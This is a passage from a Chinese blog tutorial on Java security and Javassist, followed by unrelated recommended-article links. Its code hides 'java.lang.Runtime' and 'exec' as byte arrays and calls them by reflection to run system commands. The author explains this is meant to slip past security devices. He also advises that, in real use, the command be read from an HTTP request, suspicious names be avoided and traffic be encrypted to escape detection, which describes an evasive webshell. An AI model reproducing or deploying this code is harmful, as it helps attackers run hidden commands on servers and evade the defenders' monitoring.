Java安全之Javassist动态编程( 三 )
文章插图
命令执行成功 。
那么这就是一段完整的代码 , 但是还有些地方处理得不是很好 , 比如:
Method exec = aClass.getMethod("exec", String.class);
这里是反射获取exec方法 , 这里的exec是固定的 。 exec这个对于一些设备来说也是严杀的 。
那么在这里就可以来处理一下 , 也转换成字节码 。
转换后的字节码:
[101,120,101,99]
改进一下代码:
public class test {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {String command = "ipconfig";byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};String run = new String(b1);byte[] b2 = new byte[]{101, 120, 101, 99};String cm = new String(b2);Class aClass = Class.forName(run);Constructor declaredConstructor = aClass.getDeclaredConstructor();declaredConstructor.setAccessible(true);Object o = declaredConstructor.newInstance();Method exec = aClass.getMethod(cm, String.class);Process process = (Process) exec.invoke(o,command);InputStream inputStream = process.getInputStream();//获取输出的数据String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符System.out.println(ipconfig);
实际中运用就别用啥ipconfig和command这些来命名了 , 这些都是一些敏感词 。 这里只是为了方便理解 。
在真实情况下应该是request.getInputStream()来获取输入的命令的 。 那么这里也还需要注意传输的时候进行加密 , 不然流量肯定也是过不了设备的 。
5 结尾【Java安全之Javassist动态编程】其实后面这些内容是跑偏题了 , 因为是后面突然才想到的这么一个东西 。 所以将他给记录下来 。
推荐阅读
- 计算机专业大一下学期,该选择学习Java还是Python
- 未来想进入AI领域,该学习Python还是Java大数据开发
- 气动 安全性均提升 Lazer推出新款Sphere头盔
- 谷歌发布一月安全补丁 修复Pixel音频、应用重启等问题
- 学习大数据是否需要学习JavaEE
- 年底网络安全盛会线上召开,行业专家共话七大议题
- Edge浏览器酝酿用户账户安全追踪功能 必要时可提醒修改密码
- 从事Java开发时发现基础差,是否应该选择辞职自学一段时间
- 扫码枪将钱扫走,却不需要密码,安全吗?
- 2021年Java和Python的应用趋势会有什么变化?